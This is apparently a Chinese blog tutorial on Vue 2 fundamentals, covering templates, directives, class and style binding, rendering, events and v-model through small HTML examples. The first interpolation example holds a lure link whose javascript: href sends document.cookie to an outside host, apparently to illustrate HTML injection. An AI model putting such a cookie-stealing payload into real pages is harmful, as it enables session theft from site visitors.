Vue2系列(lqz)——Vue基础
Vue介绍
一 模板语法
1.1 插值
1.1.1 概述
1 文本 {{}}
2 纯html
3 表达式
注意：直接把Vue对象赋值给变量，修改变量值，可以直接修改页面内容
-vm.$data.name
-vm.name
1.1.2 案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
{{name}}
<br>
{{10}}
<br>
{{10+20}}
<br>
{{10>20?'大于':'小于'}}
<br>
{{myhtml}}
</div>
</body>
<script>
new Vue({
el:'#box',
data:{
name:'lqz',
myhtml:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点我看美女</a>",
}
})
</script>
</html>
二 指令
2.1 文本相关指令
>1 v-text
>2 v-html
>3 v-show
>4 v-if
>注意:v-show和v-if的区别
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<p v-text='msg'>原文本会被替换</p>
<div v-html="myhtml"></div>
<div v-show="isShow">显示</div>
<div v-if="isCreated">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
msg: 'lqz',
myhtml:'<a href="http://www.baidu.com">点我</a>',
isShow:true,
isCreated:true
}
})
</script>
</html>
2.2 事件指令
<!-- v-on: 指令 简写 @ -->
<!-- 不传参事件绑定，但事件回调方法可以获取事件对象 -->
<p @click="fn"></p>
<!-- ()可以传入具体实参 -->
<p @click="fn()"></p>
<!-- ()情况下，事件对象应该显式传入 -->
<p @click="fn($event)"></p>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button v-on:click="test">点我</button>
<button @click="test()">点我2</button>
<button @click="test2($event)">点我3</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
},
methods:{
test(){
console.log('test')
},
test2(ev){
console.log(ev)
},
}
})
</script>
</html>
2.3 属性指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass{
background: red;
}
.yellowclass{
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!--绑定src -->
<img v-bind:src="mysrc"/>
<img :src="mysrc"/>
<!--绑定class-->
<div v-bind:class="red">111111111</div>
<button @click="change">点击变色</button>
<div v-bind:class="isActive?'redclass':'yellowclass'">222222222</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mysrc:"https://pic.maizuo.com/usr/movie/73b25044a8c9756fa41d3a723ee6c2c2.jpg",
isActive:false,
red:'redclass',
yellow:'yellowclass',
},
methods: {
change(){
this.isActive=!this.isActive
},
}
})
</script>
</html>
三 class与style
3.1 class的三种写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :class="isActive?'redclass':'yellowclass'">class三目写法</div>
<p :class="classObj">class对象写法</p>
<p :class="classarr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
classObj: {
class_a: true,
class_b: true,
//class_a,class_b是class的名字,
//vm.classObj.class_a=false
//vm.classObj.class_c=true 设置不进去
},
classarr:['a','b']
//vm.classarr.pop()
//vm.classarr.push('c')
},
methods: {
}
})
</script>
</html>
3.2 style的写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :style="'background:'+'red'">class三目写法</div>
<div :style="'background:'+(isActive?'red':'yellow')">class三目写法</div>
<!--vm.isActive=true-->
<p :style="styleobj">class对象写法</p>
<p :style="styleattr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
styleobj:{
background:'yellow',
fontSize:'30px',
},
styleattr:[{background:'red'},],
// styleattr:[]
//vm.styleattr.push({background:'red'})
//vm.styleattr.shift(),pop
},
methods: {
}
})
</script>
</html>
四 条件渲染
4.1 动态创建删除(v-else)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="handlediv">动态删除添加</button>
<div v-if="isActive">我出现了</div>
<div v-else>我是else</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
},
methods: {
handlediv() {
this.isActive = !this.isActive
}
}
})
</script>
</html>
五 列表渲染(v-for)
5.1 v-if+v-for控制购物车显示
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="add">加入购物车</button>
<ul v-if="!datalist.length==0">
<li v-for="data in datalist">{{data}}</li>
</ul>
<div v-else>购物车空空如也</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
// datalist:['111','222','3333']
datalist:[]
},
methods: {
add(){
this.datalist=['111','222','3333']
},
}
})
</script>
</html>
5.2 v-if/v-else-if/v-else
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div v-if="which==1">1111</div>
<div v-else-if="which==2">222</div>
<div v-else>333</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
which:1
},
})
</script>
</html>
5.3 v-for遍历列表，对象
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<ul>
<li v-for="(value,index) in arr">{{value}}---{{index}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) in obj">{{value}}---{{key}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) of obj">{{value}}---{{key}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
arr: ['11', '22', '33'],
obj: {name: 'lqz', age: 18, sex: '男'}
},
})
</script>
</html>
5.4 key值解释
<!-- 虚拟dom比对变更优化相关，使用唯一key值，插入一个标签，更改的少
跟踪每个节点身份，从而重新排序现有元素
理想的key值是每项都有且唯一的值，id等
-->
<ul>
<li v-for="(value,index) in arr" :key="index">{{value}}---{{index}}</li>
</ul>
5.5 数组更新与检测
<!--
1 使用以下方法操作数组，可以检测变动：push，pop，shift，unshift,splice,sort,reverse
2 不会检测变动filter(),concat(),slice(),map()，新数组替换旧数组
-页面不会更改：vm.arr.concat(['44','55'])
-解决vm.arr=vm.arr.concat(['44','55'])
3 页面不会更改：通过索引值更新数组
-解决方案一：
vm.arr[0]
"11"
vm.arr[0]='99'
"99"
vm.arr.splice(0,1,'88')
["99"]
-解决方案二
Vue.set(vm.arr,0,'lqz')
3 上面能更新是因为作者重写了那些方法
-->
六 事件处理
input
change
blur
6.1 input过滤案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!-- <p><input type="text" v-model="mytext" @change="handleChange"></p>-->
<!-- <p><input type="text" v-model="mytext" @blur="handleChange"></p>-->
<p><input type="text" v-model="mytext" @input="handleChange"></p>
<ul>
<li v-for="data in newlist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext: '',
datalist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
newlist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
},
methods: {
handleChange() {
console.log(this.mytext)
this.newlist=this.datalist.filter(item=>{
return item.indexOf(this.mytext)>-1
})
},
},
})
var a=['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac']
// var aa=a.filter(function (item) {
// if(item.indexOf('a')>-1){
// return true
// }else {
// return false
// }
// })
var aa=a.filter(item=>{
return item.indexOf('a')>-1
})
</script>
</html>
6.2 简单事件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow:true,
},
methods: {
handleShow() {
this.isShow=!this.isShow
},
},
})
</script>
</html>
6.3 事件修饰符
.stop 阻止事件冒泡
.prevent 阻止a链接跳转
.self 只处理自己的事件，子控件冒泡的事件不处理
.once 只处理一次就解绑(抽奖页面)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
<hr>
<ul @click="handleUl">
<li @click="handleLi($event)">111</li>
<li @click.stop="handleLinew">222</li>
<li @click="handleLi">333</li>
</ul>
<br>
<a href="http://www.baidu.com" @click="handlea($event)">点击跳转，不拦截</a>
<a href="http://www.baidu.com" @click.prevent="handlea">点击拦截</a>
<ul @click.self="handleUl">
<li @click="handleLi2">111</li>
<li @click="handleLi2">222</li>
<li @click="handleLi2">333</li>
</ul>
<button @click.once="test">只执行一次</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
},
methods: {
handleUl() {
console.log('ululul')
},
handleLi(ev) {
console.log('lilili')
ev.stopPropagation()
},
handleLi2(){
console.log('safsd')
},
handleLinew() {
console.log('lililinew')
},
handlea(ev) {
ev.preventDefault()
console.log('不跳了')
},
test(){
console.log('test')
},
},
})
</script>
</html>
6.4 按键修饰符
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" @keyup="handleKeyUp" v-model="mytext">
<input type="text" @keyup.enter="handleKeyUp2" v-model="mytext">
<!--不是所有的按键都写了，所以可以使用keycode数字-->
<input type="text" @keyup.13="handleKeyUp2" v-model="mytext">
<ul>
<li v-for="data in datalist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
mytext:'',
datalist:[]
},
methods: {
handleKeyUp(ev){
console.log(ev)
if(ev.keyCode==13){
console.log('回车')
this.datalist.push(this.mytext)
}
},
handleKeyUp2(){
this.datalist.push(this.mytext)
},
}
})
</script>
</html>
七 表单控件绑定/双向数据绑定
7.1 v-model基本使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
},
})
</script>
</html>
7.2 checkbox选中
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
<br>
<input type="checkbox" v-model="radio">记住用户名
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
radio:false,
},
})
</script>
</html>
7.3 多选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你喜欢的运动</p>
<input type="checkbox" v-model="checkgroup" value="抽烟">抽烟
<input type="checkbox" v-model="checkgroup" value="喝酒">喝酒
<input type="checkbox" v-model="checkgroup" value="烫头">烫头
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
checkgroup:[],
},
})
</script>
</html>
7.4 单选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你最喜欢的编程语言</p>
<input type="radio" value="Python" v-model="radio">Python
<input type="radio" value="Java" v-model="radio">Java
<input type="radio" value="c++" v-model="radio">C++
{{radio}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
radio:'',
},
})
</script>
</html>
7.5 购物车案例
7.5.1 基本购物车
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup">
{{data}}
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
}
})
</script>
</html>
7.5.1 全选，全不选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
}
}
})
</script>
</html>
7.5.3 控制加减
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
<button @click="data.number++">+</button>
{{data.number}}
<button @click="handleClick(data)">-</button>
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
},
handleClick(data){
if(data.number==1){
data.number=1
}else{
data.number--
}
}
}
})
</script>
</html>
7.6 v-model之lazy,number,trim
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model.lazy="mytext"> {{mytext}}
<br>
<input type="text" v-model.number="mytext"> {{mytext}}
<br>
<input type="text" v-model.trim="mytext"> {{mytext}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
},
})
</script>
</html>
本文来自博客园，作者：喝茶看猴戏，转载请注明原文链接：https://www.cnblogs.com/zdwzdwzdw/p/17487840.html
浙公网安备 33010602011771号